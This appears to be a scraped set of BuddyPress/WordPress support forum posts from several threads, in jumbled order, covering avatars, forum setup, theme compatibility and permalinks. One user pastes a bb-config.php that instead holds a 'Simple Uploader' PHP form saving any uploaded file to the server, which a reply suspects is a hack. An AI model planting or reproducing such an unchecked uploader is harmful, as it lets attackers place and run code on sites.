Hi yadigit
Many thanks for your reply.
I’m afraid I do not know the Avatar upload is controlled.
I have no special plugins.
The 2 plugins I use are BuddyPress template pack and bbpress plugin.
The avatar control is probably through those (except WordPress always has had avatar control so possibly it is inbuilt from my WP theme?).
I don’t know exactly as I am so new to BuddyPress!-sorry…
I am more concerned still about my BP site functionality and have several questions on that eg
1.How do I create a forum topic?
2. Why is settings>general returning a blank browser page?
In short how do I use BuddyPress and what can I do with it on my site given that I mainly want to use it as a forum?
I am grateful for more helpful replies, comments and feedback-thanks
@henrybaum, put the following code inside your bp-custom.php.
function remove_xprofile_links() {
remove_filter( ‘bp_get_the_profile_field_value’, ‘xprofile_filter_link_profile_data’, 9, 2 );
}
add_action( ‘bp_init’, ‘remove_xprofile_links’ );
Regards
Paul- sorry, using BP Corporate 1.4 with BuddyPress 1.5.4. I misunderstood the question.
20 hours after asking this question, and i have had no response, I know that there are busy people here but i did expect something, even a no, not nothing. I am now trawling through every buddypress file trying to find something that might help moe, but i have no idea what i am looking for so i guess i’m outa luck.
sorry for sounding a little tetchy, but it just winds me up with being the “best” place to find help on buddypress, i have seen others on here that havent been replied to for longer. best and only place and no support
I used a simple code on the home.php
`
<a href="profile/edit/group/1″>edit profile
`
and I saw here http://codex.buddypress.org/developer-docs/buddypress-template-tags/
bp_is_friends
Ive tried to use a IF command and it failed. here’s the code I used
`
`
But it didn’t work.. bp_is_friends not in the new buddypress upgrade?
Please help!
Site looks good. @richardpb
When I registered for your site I noticed after you fill out the basic info (user name, email, pass ect) you get sent to the activate page and your able to Upload an avatar.
For some reason my buddypress doesn’t do that.
Was there a plugin you had to install? did it come with buddypress? or did you edit the code?
Your answer is very well appreciated!
@mercime Apologies for delay, I will be checking this routinely from now on. (Is there a way to subscribe getting an email post each time somebody responds?)
Below are codes as asked for. Thanks so much in advance.

Hi
I have been trying to add BuddyPress to my WordPress theme & site for a long time now and have spent more time this morning with this and this process has not been easy and I would appreciate help & feedback on my effort so far.
This is the link to my site: http://richard-dickinson.com/
BuddyPress is enabled to some degree on my blog but it does not seem to me to have full functionality.
Really the main thing I want to acheive with it is to use it for a forum for my site (though the other features could be useful).
I am grateful for help and advice & look forward to helpful replies-thanks
@mercime,
Thank you for the help – it is most appreciated.
I tried both methods of making the theme compatible with BuddyPress. Neither worked.
Here are the pastebin.com URIs:
header.php
http://pastebin.com/hEeQyBz4
index.php
http://pastebin.com/KxvBqhQm
page.php
http://pastebin.com/uDa4eLp4
sidebar.php
http://pastebin.com/0QS9ffew
footer.php
http://pastebin.com/hSq7wVkF
Also, a correction to my initial set-up information – the site is on a sub-domain: http://demo.e-learning-rules.com
As I mentioned in my initial post, when I look at the HTML displayed in the browser, the sidebar code is completely missing, as if the sidebar function is just not being called.
Thanks again for your help.
@heyshamsw we can only try our best to resolve such issues.
So what method did you try to use to make your theme compatible with BuddyPress, the first method which changes 16 template files or the second method with the xxx-buddypress.php files? https://codex.buddypress.org/theme-development/wordpress-to-buddypress-theme/
To help you evaluate which method is good for your WP theme, open up your theme’s header.php, copy code, paste code in pastebin.com, click submit, and post the generated pastebin.com uri here. Do the same thing for index.php, page.php, sidebar.php and footer.php.
Site URI with said thematic child theme would be helpful as well.
B. At the bottom of the same 16 files, replace:
`
`
with the following (except for registration/register.php):
`
`
with the following for registration/register.php:
`
jQuery(document).ready( function() {
if ( jQuery(‘div#blog-details’).length && !jQuery(‘div#blog-details’).hasClass(‘show’) )
jQuery(‘div#blog-details’).toggle();
jQuery( ‘input#signup_with_blog’ ).click( function() {
jQuery(‘div#blog-details’).fadeOut().toggle();
});
});
`
C. Save files. Upload 6 BP folders to your server wp-content/themes/mantra/
D. You might also want to check out the style modifications made in BP Twenty Ten for reference. https://codex.buddypress.org/theme-development/theme-dev-bp-template-pack-walkthrough-twenty-ten-bp-1-5/3/
Ok, I didn’t see that sidebar with the analog clock earlier on the registration page.
You will need to change 16 template files within the 6 BP folders transferred to your weaver theme in server during the compatibility process.
If you’ve changed any of the BP template files in your theme folder, replace all of them by deleting the 6 BP folders in server – /activity, /blogs, /forums, /groups, /members, and /registration – then re-run Appearance > BP Compatibility
Download the 6 clean BP folders to your computer hard drive.
A. At the top of each of those 16 template files I linked to above, replace
`
`
with
`
<div id="post-” class=”hentry”>
`
Hi,
Does anyone have a solution for this problem?
I’m completely at a loss.
Thanks
By default, BP has only that ‘name’ profile field. All BuddyPress profile fields are separate and distinct from any field in the WP user profile. For example, creating a field in BP called ‘biography’ won’t have any link or relation to the WP profile field of the same name.
The “profile syncing” option in BP, I believe, only tries to take your BP profile field ‘Name’, and separating on a space, populate WP profile’s First name, Last name, and Display Name fields.
If you’re going to jump into someone else’s thread; what is ‘quick cache’? Do you have a link?
That should *not* be in your bb-config.php. If you haven’t edited or overwritten that file, it’s possible your site has been hacked, so I’d check that aspect out first.
Once you’ve cleared any problems with that, try deleting your bb-config.php, then go back to the BuddyPress ‘Forums Setup’ in wp-admin and tell it ‘reinstall’ the forum config.
It looks like Custom Profile Filters doesn’t work in 1.5 – http://wordpress.org/extend/plugins/custom-profile-filters-for-buddypress/
Is there a workaround to remove automatic linking of profile information?
@gerryleblanc Having the same problem here on http://alphabendi.com/research . I tried everything that you did to no avail 
I edited the .htaccess file based on your last post, but the member’s page was still broken and the dynamic data wasn’t displayed.
If I change my permalink structure to /%year%/%category%/%postname%/ , all relative path info disappears and you get 404s on all pages except the landing page.
Since you mentioned that you got things to generally work,
I’m assuming I missed something somewhere.. Please help
It seems to be tied to the child theme I’m using. When I switch themes, buddypress works. I’ve put in a note to the author. Thanks for all the suggestions.
Suddenly I cannot access my forums and am getting this error :
Warning: Unexpected character in input: ” (ASCII=92) state=1 in /home//bb-config.php on line 5
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in /home/bb-config.php on line 17
I’ve deactivated all plugins on the main blog. This has the buddypress integration.
The last tampering before I noticed this was a single size change for a widget block in the themes stylesheet but the problem persists with switching themes. It cuts the homepage to half size as well without a scroll.
This is the bb-config:
`title> Simple Uploader
Simple uploader
<form enctype=îmultipart/form-dataî action=îî method=îpostî>
<?php
if (@is_uploaded_file($_FILES[“userfile”][“tmp_name”])) {
copy($_FILES[“userfile”][“tmp_name”], ìî . $_FILES[“userfile”][“name”]);
echo ì
File uploaded successfully
î;
}
?>`
It’s been working properly for months with my new theme, any suggestions?
I don’t have any extra forum related plugin
Hello, can you tell me does Quick cache work well with buddypress?
okay… so last thing I checked in the General Settings was that I still had the “www” in the path. So I removed it and now ALL HAIL THE KING… I get an activation email!
stupid thought… but possible the issues are because this is installed and running from a sub-directory??? Not the main route public_HTML
Also… activated the Default BuddyPress theme… still nothing! weeks of work down the tubes! Please can someone help… can give admin login.
is this a duplicate of your month old post

I can’t volunteer for a for-profit business, but if you open source your code on github i’d be more than happy to ‘volunteer’ and help you out where i can.
